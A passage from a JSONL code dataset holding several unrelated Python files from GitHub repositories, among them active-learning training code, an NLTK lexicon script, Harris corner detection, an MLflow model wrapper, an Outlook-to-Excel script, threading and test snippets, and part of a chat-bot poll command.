project_path, whether_to_use_word2vec, selection_type, fold_nr, process_monitor_instance = None):\n    print(\"start train and evaluate method\")\n    print(\"whether_to_use_word2vec\", whether_to_use_word2vec)\n    nr_of_samples = len(x_train_sentences)\n    active_learning_preannotation.check_frequency_of_labels(y_train, classes)\n\n    X_train_np, X_test_np, y_train_np, text_vector_train_np, text_vector_text_test_np, \\\n                      current_word_vectorizer, context_word_vectorizer = \\\n                      vectorize_data.vectorize_data(text_vector_labelled = x_train_sentences, \\\n                                            text_vector_unlabelled = x_test_sentences, \\\n                                            label_vector_labelled = y_train, \\\n                                            class_dict = label_dict, \\\n                                            use_word2vec = whether_to_use_word2vec, \\\n                                            number_of_previous_words = properties.number_of_previous_words,\\\n                                            number_of_following_words = properties.number_of_following_words, \\\n                                            use_current_word_as_feature = properties.use_current_word_as_feature, \\\n                                            min_df_current = properties.min_df_current, \\\n                                            min_df_context = properties.min_df_context, \\\n                                            max_df_current = properties.max_df_current, \\\n                                            max_df_context = properties.max_df_context,\\\n                                            word2vecwrapper = word2vecwrapper, \\\n                                            current_word_vocabulary = properties.current_word_vocabulary, \\\n                                            context_word_vocabulary = properties.context_word_vocabulary, \\\n                                            use_clustering = False)\n\n    model = properties.model_type(label_dict, properties.minority_classes, properties.outside_class, properties.beginning_prefix, \\\n                                          properties.inside_prefix, properties.max_iterations, properties.use_cross_validation, \\\n                                          properties.nr_of_cross_validation_splits, properties.c_value, process_monitor_instance)\n\n    print(model)\n    test_sentences = x_test_sentences  # not really need a new variable\n        \n    print(\"Starts to train\")\n    model.fit(X_train_np, y_train_np)\n\n    print(\"Starts to predict\")\n    results = model.predict(X_test_np)\n\n    results_tag_format = get_result_tag_format(results, model)\n    test_results = results_tag_format # not really need a new variable\n    expected_results = y_test  # not really need a new variable\n        \n    for category in [el for el in label_dict.keys() if el.startswith(properties.beginning_prefix)]:\n        evaluate_category_different_data_sizes(category, test_sentences, test_results, expected_results, properties.outside_class, project_path, \n                                               properties.evaluation_output_dir, properties.inside_prefix, properties.beginning_prefix, \\\n                                                   model.get_params(), model.get_cs(), properties.model_type, whether_to_use_word2vec, nr_of_samples, \\\n                                                   selection_type, fold_nr)\n\ndef run_active_selection(labelled_text_vector, labelled_label_vector, train_index, x_test_sentences, y_test, label_dict, classes, \\\n                             properties, word2vecwrapper, project_path, seed_set_size, step_size, max_size, whether_to_use_word2vec, fold_nr):\n\n    print(\"\")\n    print(\"Active selection\")\n    nr_of_samples = seed_set_size              \n    x_train_sentences = [ vec for (i, vec) in enumerate(labelled_text_vector) if i in train_index[:seed_set_size]]\n    y_train = [ vec for (i, vec) in enumerate(labelled_label_vector) if i in train_index[:seed_set_size]]\n    used_indeces = [i for (i, vec) in enumerate(labelled_label_vector) if i in train_index[:seed_set_size]]\n              #print(\"used_indeces\", used_indeces)\n\n    print(\"whether_to_use_word2vec\", whether_to_use_word2vec)\n    print(\"nr_of_samples + step_size\", str(nr_of_samples + step_size))\n    print(\"len(train_index)\", str(len(train_index)))\n    seed_set_run = True\n    while nr_of_samples + step_size < len(train_index) and nr_of_samples + step_size < max_size:\n        \n        process_monitor_instance =  ProcessMonitor(project_path, properties,\\\n                                                   whether_to_use_word2vec, \\\n                                                   [vec for (i, vec) in enumerate(labelled_text_vector)])\n        process_monitor_instance.set_number_of_labelled(nr_of_samples + step_size)\n        \n        \n        if not seed_set_run:\n            x_pool_sentences = [ vec for (i, vec) in enumerate(labelled_text_vector) if i in train_index[seed_set_size:] and i not in used_indeces]\n            print(\"len(used_indeces)\", len(used_indeces))\n            X_labelled_np, X_unlabelled_np, y_labelled_np, text_vector_labelled_np, text_vector_unlabelled_np, \\\n                          current_word_vectorizer, context_word_vectorizer = \\\n                          vectorize_data.vectorize_data(\\\n                text_vector_labelled = x_train_sentences, text_vector_unlabelled = x_pool_sentences,\\\n                    label_vector_labelled = y_train, \\\n                                    class_dict = label_dict, use_word2vec = whether_to_use_word2vec, \\\n                                        number_of_previous_words = properties.number_of_previous_words, \\\n                                        number_of_following_words = properties.number_of_following_words, \\\n                                        use_current_word_as_feature = properties.use_current_word_as_feature, \\\n                                        min_df_current = properties.min_df_current,  \\\n                                        min_df_context = properties.min_df_context, \\\n                                        max_df_current = properties.max_df_current, \\\n                                        max_df_context = properties.max_df_context, \\\n                                        word2vecwrapper = word2vecwrapper, \\\n                                        current_word_vocabulary = properties.current_word_vocabulary, \\\n                                        context_word_vocabulary = properties.context_word_vocabulary, \\\n                    use_clustering = False)\n\n            to_select_X, new_unlabelled_x, to_select_text, new_sentences_unlabelled, predicted_for_selected = \\\n                          classify_and_select.get_new_data(X_labelled_np, X_unlabelled_np, y_labelled_np, text_vector_labelled_np, \\\n                                             text_vector_unlabelled_np, label_dict, properties.minority_classes, \\\n                                             step_size, properties.maximum_samples_to_search_among, \\\n                                             properties.outside_class, properties.beginning_prefix, \\\n                                             properties.inside_prefix, properties.inactive_learning, \\\n                                             properties.max_iterations, properties.prefer_predicted_chunks, \\\n                                             properties.model_type, properties.use_cross_validation, \\\n                                             properties.nr_of_cross_validation_splits, \\\n                                             properties.c_value,\\\n                                                process_monitor_instance)\n\n                      #print(\"to_select_text\", to_select_text)\n            selected_set = set()\n            for el in to_select_text:\n                st = \" \".join(el)\n                selected_set.add(st)\n\n\n            selected_indeces_text = [(i, \" \".join(vec)) for (i, vec) in enumerate(labelled_text_vector) if \" \".join(vec) in selected_set\\\n                                         and i in train_index[seed_set_size:] and i not in used_indeces]\n\n            found_text_set = set() # if there are duplicates in training data, only find this sentence once\n            selected_indeces = []\n\n            # To remove duplicates\n            how_much_too_long = len(selected_indeces_text) - step_size\n            for selected_index, found_text in selected_indeces_text:\n                if found_text not in found_text_set or how_much_too_long == 0:\n                    selected_indeces.append(selected_index)\n                    found_text_set.add(found_text)\n                else:\n                    how_much_too_long = how_much_too_long - 1\n                    \n\n            print(\"len(selected_indeces)\", len(selected_indeces))\n            if len(selected_indeces) != step_size:\n                print(\"selected_indeces\", selected_indeces)\n                print(\"selected_set\", selected_set)\n                print(\"not enough selected\")\n                exit(1)\n                \n            used_indeces.extend(selected_indeces)\n                  \n        x_train_sentences = [ vec for (i, vec) in enumerate(labelled_text_vector) if i in used_indeces]\n        y_train = [ vec for (i, vec) in enumerate(labelled_label_vector) if i in used_indeces]\n\n        print(\"used_indeces\", used_indeces)\n        print(\"len(used_indeces)\", len(used_indeces))\n        print(\"len(x_train_sentences)\", len(x_train_sentences))\n        assert(len(used_indeces) == len(x_train_sentences))\n        nr_of_samples = len(used_indeces)\n        train_and_evaluate_simulation(x_train_sentences, y_train, x_test_sentences, y_test, label_dict, classes, \\\n                                          properties, word2vecwrapper, project_path, whether_to_use_word2vec, \\\n                                          \"active\", fold_nr, process_monitor_instance)\n                  \n        seed_set_run = False\n\n\n\ndef simulate_different_data_sizes(properties, simulation_properties, project_path, \\\n                                      word2vecwrapper, start_fold, end_fold):\n    print()\n    print(\"********************************************************************************\")\n    print(\"* Start classification and evaluation with the training data, where different *\")\n    print(\"* amounts of training data is available*\")\n    print(\"********************************************************************************\")\n\n    # Classes\n    classes = properties.minority_classes[:]\n    classes.append(properties.outside_class)\n    print(\"Classes to use:\\t\" + str(classes))\n\n    \n    labelled_data_dir_for_project = os.path.join(project_path, properties.labelled_data_dir)\n    labelled_text_vector, labelled_label_vector, label_dict = \\\n        vectorize_data.read_file_labelled_data(labelled_data_dir_for_project, properties.data_file_extension, \\\n                                                   properties.minority_classes, properties.outside_class)\n    \n    active_learning_preannotation.check_frequency_of_labels(labelled_label_vector, classes)\n\n    category_with_prefix, category = get_category(properties)\n    print(\"Performing evaluation for the category \" + category)\n\n    seed_set_size = simulation_properties.seed_set_size\n    step_size = simulation_properties.step_size\n    max_size = simulation_properties.max_size\n\n    for fold_nr in range(start_fold, end_fold):\n        print(\"\\n\\n\")\n        print(\"Running fold number \" + str(fold_nr))\n        print(\"--------\")\n\n        # one test_fold and one train_fold\n        skf = StratifiedKFold(n_splits=simulation_properties.train_test_splits, shuffle = True, random_state = fold_nr)\n        \n        # need to input a vector of the same length as labelled_label_vector, so just constuct one only with zeros\n        empty_y = [0 for el in labelled_label_vector]\n\n        foldnr_skf = 0\n        for train_index, test_index_all in skf.split(empty_y, empty_y):\n            if foldnr_skf > 0:\n                  break # only use the first fold, that is created by the StratifiedKFold class\n\n            random.Random(fold_nr).shuffle(train_index)\n            random.Random(fold_nr).shuffle(test_index_all)\n            \n            if len(test_index_all) <= simulation_properties.max_test_data_size:\n                test_index = test_index_all\n            else:\n                test_index = test_index_all[:simulation_properties.max_test_data_size]\n\n            # To save time when vectorizing (not to vectorize data that will not be searched among):\n            if properties.maximum_samples_to_search_among != \"all\":\n                if len(train_index) > properties.maximum_samples_to_search_among + simulation_properties.seed_set_size:\n                    train_index = train_index[:properties.maximum_samples_to_search_among + simulation_properties.seed_set_size]\n        \n            print(\"test_index, len: \", len(test_index), \" data: \", test_index)\n            print(\"pool index, len: \", len(train_index),\" data: \", train_index)\n\n                       \n            x_test_sentences = [ vec for (i, vec) in enumerate(labelled_text_vector) if i in test_index]\n            y_test = [ vec for (i, vec) in enumerate(labelled_label_vector) if i in test_index]\n     \n            # Random selection of data\n              \n            print(\"\\nRandom selection\")\n            print(\"------\")\n            nr_of_samples = seed_set_size\n            while nr_of_samples < len(train_index) and nr_of_samples < max_size:\n                print(\"Training with \" + str(nr_of_samples) + \" samples.\")\n                x_train_sentences = [ vec for (i, vec) in enumerate(labelled_text_vector) if i in train_index[:nr_of_samples]]\n                y_train = [ vec for (i, vec) in enumerate(labelled_label_vector) if i in train_index[:nr_of_samples]]\n\n                train_and_evaluate_simulation(x_train_sentences, y_train, x_test_sentences, y_test, label_dict, classes, \\\n                                                    properties, word2vecwrapper, project_path, whether_to_use_word2vec = False, \\\n                                                    selection_type = \"random\", fold_nr = fold_nr)\n                train_and_evaluate_simulation(x_train_sentences, y_train, x_test_sentences, y_test, label_dict, classes, \\\n                                                    properties, word2vecwrapper, project_path, whether_to_use_word2vec = True, \\\n                                                    selection_type = \"random\", fold_nr = fold_nr)\n\n                nr_of_samples = nr_of_samples + step_size\n              \n            print(\"\\nActive selection\")\n            print(\"------\")\n            # Active selection of data\n            run_active_selection(labelled_text_vector, labelled_label_vector, train_index, x_test_sentences, y_test, label_dict, classes, \\\n                                       properties, word2vecwrapper, project_path, seed_set_size, step_size, max_size, \\\n                                       whether_to_use_word2vec = False, fold_nr = fold_nr)\n            run_active_selection(labelled_text_vector, labelled_label_vector, train_index, x_test_sentences, y_test, label_dict, classes, \\\n                                       properties, word2vecwrapper, project_path, seed_set_size, step_size, max_size, \\\n                                       whether_to_use_word2vec = True, fold_nr = fold_nr)\n\n            ###\n    \n\n            # only use the first fold (could as well do a break here)\n            foldnr_skf = foldnr_skf + 1\n","repo_name":"mariask2/PAL-A-tool-for-Pre-annotation-and-Active-Learning","sub_path":"train_and_evaluate_model.py","file_name":"train_and_evaluate_model.py","file_ext":"py","file_size_in_byte":47150,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"22"}
+{"seq_id":"32542708497","text":"from nltk.corpus import opinion_lexicon\r\nfrom nltk.corpus import wordnet\r\nfrom pprint import pprint\r\n\r\n\r\ndef get_list_of_words_wordnet():\r\n    return list(wordnet.words())\r\n\r\n\r\ndef get_list_of_word_positive():\r\n    return opinion_lexicon.words('positive-words.txt')\r\n\r\n\r\ndef get_list_of_word_negative():\r\n    return opinion_lexicon.words('negative-words.txt')\r\n\r\n\r\ndef get_intersection(first_set, second_set):\r\n    if not isinstance(first_set, set) or not isinstance(second_set, set):\r\n        raise ValueError\r\n    else:\r\n        return first_set.intersection(second_set)\r\n\r\n\r\ndef main():\r\n    my_fileids = opinion_lexicon.fileids()\r\n    print(my_fileids)\r\n    my_words = opinion_lexicon.words('negative-words.txt')\r\n    print(my_words)\r\n    words_from_wordnet = set(get_list_of_words_wordnet())\r\n    positive_words = set(get_list_of_word_positive())\r\n    negative_words = set(get_list_of_word_negative())\r\n    print(positive_words)\r\n    #print(words_from_wordnet)\r\n    #res = words_from_wordnet.intersection(positive_words)  # общие слова позитивные и ворднетовские\r\n    res_positive = get_intersection(positive_words, words_from_wordnet)\r\n    res_negative = get_intersection(negative_words, words_from_wordnet)\r\n    res_test = get_intersection(positive_words, negative_words)\r\n    print('Positive & Wordnet: ')\r\n    pprint(res_positive)\r\n    print('Negative & Wordnet: ')\r\n    pprint(res_negative)\r\n    print('Positive & Negative: ')\r\n    pprint(res_test)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()","repo_name":"LehaStira/NLTK_PROJECT_UNIVERSITY","sub_path":"corpuses/negative_wordnets.py","file_name":"negative_wordnets.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13391869503","text":"from __future__ import print_function, division\r\nimport pandas as pd\r\nfrom sphinx.directives import patches\r\n\r\nfrom meye import MEImage\r\nfrom matplotlib import pyplot\r\nfrom pylab import *\r\nfrom scipy import signal as sg\r\nfrom scipy.ndimage.filters import maximum_filter\r\n\r\nplt = pyplot\r\n\r\n\r\ndef compute_derived(signpost_image, variable):\r\n    sobel_kernel = np.array([[-1, 0, 1], [-2, 0, 2], [-1, 0, 1]]) / 8\r\n    if variable == \"y\":\r\n        return sg.convolve2d(signpost_image, sobel_kernel.transpose(), \"same\")\r\n    elif variable == \"x\":\r\n        return sg.convolve2d(signpost_image, sobel_kernel, \"same\")\r\n\r\n\r\ndef compute_products_of_derivatives_at_every_pixel(dx, dy):\r\n    return dx ** 2, dy ** 2, dx * dy\r\n\r\n\r\ndef compute_sums_of_products_of_derivatives(num_frame, i_x2, i_y2, i_xy):\r\n    k = num_frame\r\n    frame = np.ones((k, k)) / k * k\r\n    s_x2 = sg.convolve2d(i_x2, frame, \"same\")\r\n    s_y2 = sg.convolve2d(i_y2, frame, \"same\")\r\n    s_xy = sg.convolve2d(i_xy, frame, \"same\")\r\n    return s_x2, s_y2, s_xy\r\n\r\n\r\ndef do_algorthim(signpost_image):\r\n    # derivative by x\r\n    pdx = compute_derived(signpost_image, \"x\")\r\n    # derivative by y\r\n    pdy = compute_derived(signpost_image, \"y\")\r\n    # compute products of derivatives at every pixel\r\n    i_x2, i_y2, i_xy = compute_products_of_derivatives_at_every_pixel(pdx, pdy)\r\n    # compute the sums of the products of derivatives at each pixel\r\n    k = 3\r\n    s_x2, s_y2, s_xy = compute_sums_of_products_of_derivatives(k, i_x2, i_y2, i_xy)\r\n\r\n    final_r_matrix = (np.multiply(s_x2, s_y2) - np.multiply(s_xy, s_xy)) - 0.04 * ((s_x2 + s_y2) ** 2)\r\n\r\n    my_image = maximum_filter(final_r_matrix, 20) - final_r_matrix\r\n    return my_image\r\n\r\n\r\ndef draw(path_photo, rect):\r\n    plt.rcParams['image.cmap'] = 'gray'\r\n    originl_image = MEImage.from_file(path_photo)\r\n    signpost_image = originl_image.im[rect[2]:rect[3], rect[0]:rect[1]]\r\n    my_image = do_algorthim(signpost_image)\r\n\r\n    w, h = signpost_image.shape\r\n    apslon = 10\r\n    for y, px in enumerate(my_image):\r\n        if (y > apslon and y < h - apslon):\r\n            for x, py in enumerate(px):\r\n                if py == 0 and (x > apslon and x < w - apslon):\r\n                    signpost_image[y][x] = 255\r\n    return signpost_image\r\n\r\n\r\ndf = pd.read_pickle(\"store.pickle\")\r\n\r\nrect_49 = df.iloc[2].prevRect\r\nimg_49 = df.iloc[2].prevImage\r\nprev_img = draw(img_49, rect_49)\r\n\r\nrect_50 = df.iloc[2].currRect\r\nimg_50 = df.iloc[2].currImage\r\ncurr_img = draw(img_50, rect_50)\r\n\r\n# plt.imshow(prev_img, cmap='gray', origin='lower')\r\n# plt.show()\r\n# colorbar()\r\nego_motion = df['egoMotion'][2]\r\nnp.delete(ego_motion, 3,1)\r\nprint(ego_motion)\r\n\r\nplt.imshow(curr_img, cmap='gray', origin='lower')\r\nplt.show()\r\n","repo_name":"ahmadsb/Mobileye-Project","sub_path":"harris_corner_detection_algorithm.py","file_name":"harris_corner_detection_algorithm.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2062961322","text":"from typing import Any, Dict, Optional\n\nimport numpy as np\nimport pandas as pd\n\nimport mlflow\nfrom mlflow.pyfunc import PythonModel\n\n\nclass WrappedRecipeModel(PythonModel):\n    def __init__(\n        self, predict_scores_for_all_classes, predict_prefix, target_column_class_labels=None\n    ):\n        super().__init__()\n        self.predict_scores_for_all_classes = predict_scores_for_all_classes\n        self.predict_prefix = predict_prefix\n        self.target_column_class_labels = target_column_class_labels\n\n    def load_context(self, context):\n        self._classifier = mlflow.sklearn.load_model(context.artifacts[\"model_path\"])\n\n    def predict(\n        self,\n        context,\n        model_input,\n        params: Optional[Dict[str, Any]] = None,  # pylint: disable=unused-argument\n    ):\n        \"\"\"\n        :param context: A :class:`~PythonModelContext` instance containing artifacts that the model\n                        can use to perform inference.\n        :param model_input: A pyfunc-compatible input for the model to evaluate.\n        :param params: Additional parameters to pass to the model for inference.\n\n                       .. Note:: Experimental: This parameter may change or be removed in a future\n                                               release without warning.\n\n        :return: Model predictions.\n        \"\"\"\n        predicted_label = self._classifier.predict(model_input)\n        # Only classification recipe would be have multiple classes in the target column\n        # So if it doesn't have multiple classes, return back the predicted_label\n        # or else we try to commute the predict_proba if the algorithm supports it.\n        if (\n            not hasattr(self._classifier, \"classes_\")\n            or not hasattr(self._classifier, \"predict_proba\")\n            or not self.predict_scores_for_all_classes\n        ):\n            return predicted_label\n\n        classes = (\n            self.target_column_class_labels\n            if self.target_column_class_labels is not None\n            else self._classifier.classes_\n        )\n        score_cols = [f\"{self.predict_prefix}score_\" + str(c) for c in classes]\n        probabilities = self._classifier.predict_proba(model_input)\n        output = pd.DataFrame(columns=score_cols, data=probabilities)\n        output[f\"{self.predict_prefix}score\"] = np.max(probabilities, axis=1)\n        output[f\"{self.predict_prefix}label\"] = predicted_label\n\n        return output\n","repo_name":"mlflow/mlflow","sub_path":"mlflow/recipes/utils/wrapped_recipe_model.py","file_name":"wrapped_recipe_model.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":15878,"dataset":"github-code","pt":"22"}
+{"seq_id":"37706378785","text":"#coding=utf-8\nimport re\n\nimport win32com.client as win32\n\ndef office(app):\n\treturn win32.Dispatch('%s.Application' % app)\n\ndef get_outlook(res,name,foldername):\n\t#从收件箱中获取主题列表5已发送。6收件箱\n\t#app = 'Outlook'\n\toutlook = office('Outlook')\n\t#Senton 发送时间，Sender 发送人,Recipients[0],收件人列表\n\n\tns = outlook.GetNamespace(\"MAPI\")\n\tinbox = ns.Folders(name).Folders(foldername)\n\tcount = inbox.Items.Count\n\tprint(count)\n\tfor i in range(0,count):\n\t\ttim = str(inbox.Items[i].Senton).split( )\n\t\tSub.append([inbox.Items[i].Subject,tim[0],inbox.Items[i].Recipients])\n\t#提取出‘送验单的’\n\tfor strin in Sub:\n\t\trelike = relikesearch(res,strin[0])\n\t\tif relike != None:\n\t\t\tSubject_like.append(strin)\n\t\t\tprint(relike)\n\t\telse:\n\t\t\tpass\n\n\t#outlook.quit()\n\n\tfor i in range(0,len(Subject_like)):\n\t\tprint(Subject_like[i][1])\n\treturn Subject_like\n\t#将这部分分隔然后放入Excel中\ndef excel(strings):\n\t#app = 'Excel'win32.Dispatch('%s.Application' % app)\t\n\tx1 = office('Excel')\n\tsh = x1.Workbooks.Add().ActiveSheet\n\n\tx1.Visible = True\n\n\tsh.Cells(1,1).Value = '变更号' \n\tsh.Cells(1,2).Value = '需求号'\n\tsh.Cells(1,3).Value = '需求名称'\n\tsh.Cells(1,4).Value = '送验时间'\n\tsh.Cells(1,5).Value = '验收人'\n\n\tfor i in range(0,len(strings)):\n\n\t\tsub = Subject_like[i][0].split('_',3)\n\t\tRecip = Subject_like[i][2]\n\t\t#print(len(Recip))\t\n\t\tst = str(Recip[0]).split('@')[0]\t\n\t\tsh.Cells(i+2,1).Value = sub[1]\n\t\tsh.Cells(i+2,2).Value = sub[2]\n\t\tsh.Cells(i+2,3).Value = sub[3]\n\t\tsh.Cells(i+2,4).Value = Subject_like[i][1]\n\t\tfor j in range(0,len(Recip)):\n\t\t\tst = st,str(Recip[j]).split('@')[0]\n\t\tsh.Cells(i+2,5).Value = st\ndef relikesearch(res,str):\n\tresult = re.match(res,str)\n\tif result:\n\t\treturn str\n\telse :\n\t\tpass\t\n\n\nif __name__ == '__main__':\n\tSubject_like=[]\n\tSub = []\n\tres = '送验单'\n\tname = 'xyxjxc3@163.com'\n\tfoldername = '收件箱'\n\tget_outlook(res,name,foldername)\n\texcel(Subject_like)\n\n","repo_name":"xyxjxc3/outlook_to_excel","sub_path":"Python_outoExcel.py","file_name":"Python_outoExcel.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21279048947","text":"# vocab_hover.py\n# Use: python3 vocab_hover.py path-to-input-file\n# Example python3 vocab_hover.py ../testpage.rst   # i.e., testpage.rst in parent directory\n\n# This script uses regular expressions to make all occurrences of vocab words in\n# an rst file hoverable. It skips over their occurrences in the vocabulary variable\n# and in the vocab table, changing only those in the narrative portion of HTML. \n\n# Shortcomings:  \n# 1. It is currently case sensitive, so 'Word' would not match 'word'\n# 2. It may make too many occurences hoverable -- e.g., in H2 or H3 headings? \n\n# To make a vocab word overable, the word ('Input' in this case) needs to be embedded as follows:\n# <span class=\"hover vocab yui-wk-div\" data-id=\"Input\">Input</span>\n\nimport sys  # system lib\nimport re   # regular expression library\nimport ast  # used to parse the vocabulary variable into a python dict\nimport json\n\nDEBUG = True\n\n# We will extract this lesson's vocab words from the embedded vocab <table>, eg: \n'''\n<table align=\"center\">\n<tbody><tr>\n  <td>\n    <span class=\"hover vocab yui-wk-div\" data-id=\"Input\">Input</span>\n    <br/><span class=\"hover vocab yui-wk-div\" data-id=\"Output\">Output</span><br/>\n    <span class=\"hover vocab yui-wk-div\" data-id=\"User Interface\">User Interface (UI)</span>\n    <br/><span class=\"hover vocab yui-wk-div\" data-id=\"UI Components\">UI Components</span>\n  \n  </td>\n  <td>\n\n  <span class=\"hover vocab yui-wk-div\" data-id=\"User Events\">User Events</span>\n  <br/>\n    <span class=\"hover vocab yui-wk-div\" data-id=\"Event-driven Programming\">Event-driven Programming</span>\n    <br/><span class=\"hover vocab yui-wk-div\" data-id=\"Event Handler\">Event Handler</span>\n   <br/><span class=\"hover vocab yui-wk-div\" data-id=\"IDE\">Integrated Development Environment (IDE)</span>\n  </td>\n  </tr>\n</tbody></table>\n'''\n\n# To make them hoverable vocab words in the narrative  will be surrounded by PREFIX and SUFFIX\nPREFIX = \"<span class=\\\"hover vocab yui-wk-div\\\" data-id='\" \nSUFFIX = \"</span>\"\n\n# Get the input file from the command line\nif len(sys.argv) < 2:\n    print('Use:  python3 vocab_hover.py input-file-path')\n    print('Example:  python3 vocab_hover.py')\n    exit()\n\n# Setup output file\n# Change '_rev' to '' if it's preferable to rewrite the input file\nin_file = sys.argv[1]\nout_file = in_file[0:in_file.rfind('.')] + '_rev' + in_file[in_file.rfind('.'):]\nprint('DEBUG Input/output files: ' + in_file + ' ' + out_file) if DEBUG else None\n\n# Read the contents of the input file\ntxt = ''\nwith open(in_file) as file:\n    txt = file.read()\n\np1 = p2 = p2 = 0   # Indexes for slicing up the lesson\n\n# Find the vacab table, which contains the vocab words for this lesson\n# We use regular expressions to create vocab list for this lesson\ntables = re.findall(r'<table.*?</table>', txt, re.DOTALL)  # finds all tables, ignoring line breaks\nvocab_table = ''\nprint(len(tables))\nfor t in tables:\n    if re.search(r'hover',t):\n        p3 = txt.find(t)  # Index of the vocab table\n        print('p3 = ' + str(type(p3)))\n        vocab_table = t\n\n# Skip this lesson if no vocab table\nif vocab_table == '':\n    print(\"This lesson does not appear to have a vocab table. Exiting.\")\n    quit()\n\n# Vocab items in the table look like this. We grab both hover_id and hover_str\n# <span class=\"hover vocab yui-wk-div\" data-id=\"HOVER_ID\">HOVER_STR</span>\nspans = re.findall(r'<span.*hover.*</span>',vocab_table)\nhover_ids = re.findall(r'<span.*data-id=\"(.+)\">', vocab_table)\nhover_strs = re.findall(r'<span.*hover.*>(.+)</span>', vocab_table)\nprint('DEBUG hover_ids ' + str(hover_ids)) if DEBUG else None\nprint('DEBUG hover_strs ' + str(hover_strs)) if DEBUG else None\n\n# Slice up the contents of the page into three parts to avoid embedded words in\n# the (commented out) vocab variable and in the vocab table\n\n# Find the (commented out) js vocabulary variable embedded in the page\np1 = txt.find('var vocabulary')\np2 = txt.find('};',p1)\n\nprint('DEBUG slices: ' + 'p1:' + str(p1) + ' p2:' +str(p2) + ' p3:' + str(p3)) if DEBUG else None\n\n# Three slices. We skip the prefix and suffix portions of the lesson\nprefix = txt[0:p2+2]  # everything upto and including the script containing the vocab variable\nsuffix = txt[p3:]     # everything including and after the vocab table\nscan_slice = txt[p2+3:p3]\n\ncounter = 0\n\n# Regular expression match function \n# Called in re.sub\n# m is the pattern that was matched, containing the vocab word\n# m.group(0) is the vocab word itself\n# We surround it with the appropriate hover span\ndef repl(m):\n    global counter\n    counter = counter + 1\n    res = PREFIX + str.strip(m.group(0)) + \"'>\" + str.strip(m.group(0)) + SUFFIX\n    print('DEBUG ' + res) if DEBUG else None\n    return res\n\n# Replace all vocab words in the narrative (scan_slice) with appropriate hover span\nfor word in hover_ids:\n    print('DEBUG ' + word) if DEBUG else None\n    scan_slice = re.sub(r'\\b%s+\\b' % word, repl, scan_slice, flags=re.IGNORECASE) \n    \nprint('Replaced ' + str(counter) + ' occurences')\n\nwith open(out_file, 'w', newline='\\n') as file:\n    file.write(prefix + scan_slice + suffix)\n    print('The revised rst is in ' + out_file)\n","repo_name":"MobileCSP/MobileCSP","sub_path":"utils/vocab_hover.py","file_name":"vocab_hover.py","file_ext":"py","file_size_in_byte":5134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"35198932771","text":"import threading\nimport time\n\n\ndef test():\n    while True:\n        print(\"test\")\n        time.sleep(1)\n\n\n# Thread starts after 10 seconds\n# thr = threading.Timer(10, test)\n# thr.start()\n#\n#\n# # Time don't block main thread\n# while True:\n#     print(\"111\")\n#     time.sleep(2)\n\n\nthr = threading.Timer(5, test)\nthr.start()\n\nfor _ in range(3):\n    print(\"111\")\n    time.sleep(1)\n\n# To stop thread before finish use\nthr.cancel()\nprint(\"finish\")\n\"\"\"\n\n\"\"\"","repo_name":"rootNad/PythonClassess","sub_path":"threads/threads2/timers.py","file_name":"timers.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"30009107874","text":"import utils\n\n\ndef test_md5sum(tmp_path):\n    tmp_file = tmp_path / 'test_md5sum.txt'\n    tmp_file.write_text('')\n\n    assert utils.md5sum(tmp_file) == 'd41d8cd98f00b204e9800998ecf8427e'\n\n\ndef test_moving_average():\n    testing = [1, 2, 3, 4, 5, 6]\n    expected = [(1+2+3)/3,\n                (2+3+4)/3,\n                (3+4+5)/3,\n                (4+5+6)/3]\n\n    assert all(utils.moving_average(testing) == expected)\n\n\ndef test_print_progress_bar(capsys):\n    # Empty bar\n    utils.print_progress_bar(0, 100, length=20)\n    captured = capsys.readouterr()\n    assert captured.out == '\\r |-------------------| 0.0% '\n\n    # Medium bar\n    utils.print_progress_bar(50, 100, length=20)\n    captured = capsys.readouterr()\n    assert captured.out == '\\r |||||||||||---------| 50.0% '\n\n    # Full bar\n    utils.print_progress_bar(100, 100, length=20)\n    captured = capsys.readouterr()\n    assert captured.out == '\\r |||||||||||||||||||||| 100.0% '\n","repo_name":"TrackEditor/TrackEditor","sub_path":"test/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"38436519928","text":"import asyncio\nimport logging\nimport re\nfrom typing import Any, List, Tuple\n\nimport rocketbot.commands as c\nimport rocketbot.exception as exp\nimport rocketbot.models as m\nimport rocketbot.utils.poll as pollutil\nimport rocketbot.utils.sentry as sentry\n\nlogger = logging.getLogger(__name__)\n\n\nclass Poll(c.BaseCommand):\n    def __init__(self, pollmanager: pollutil.PollManager, **kwargs: Any):\n        super().__init__(**kwargs)\n        self.pollmanager = pollmanager\n        # This list syncs calls to the handle function since the may depend on each other\n        # E.g. poll and subsequent poll_push\n        self.active_tasks: List[asyncio.Event] = []\n\n    def usage(self) -> List[Tuple[str, str]]:\n        return [\n            ('poll <poll_title> <option_1> .. <option_26>', 'Create a poll'),\n            ('poll_push #room', 'Push the poll into #room'),\n        ]\n\n    def can_handle(self, command: str) -> bool:\n        \"\"\"Check whether the command is applicable\n        \"\"\"\n        return command in ['poll', 'poll_push']\n\n    async def handle(self, command: str, args: str, message: m.Message) -> None:\n        \"\"\"Handle the incoming message\n        \"\"\"\n        event = await self._check_running_tasks(command)\n        try:\n            if command == 'poll':\n                try:\n                    await self.create_poll(args, message)\n                except exp.RocketBotPollException as e:\n                    await self.master.ddp.send_message(message.roomid, str(e))\n                    sentry.exception()\n\n            if command == 'poll_push':\n                match = re.match(r'\\s*#(\\S+)', args)\n                if not match:\n                    await self.master.ddp.send_message(message.roomid, \"Please specify a room\")\n                    return\n\n                room_name = match.groups()[0]\n\n                if message.roomid not in self.pollmanager.polls.last_active_by_roomid:\n                    await 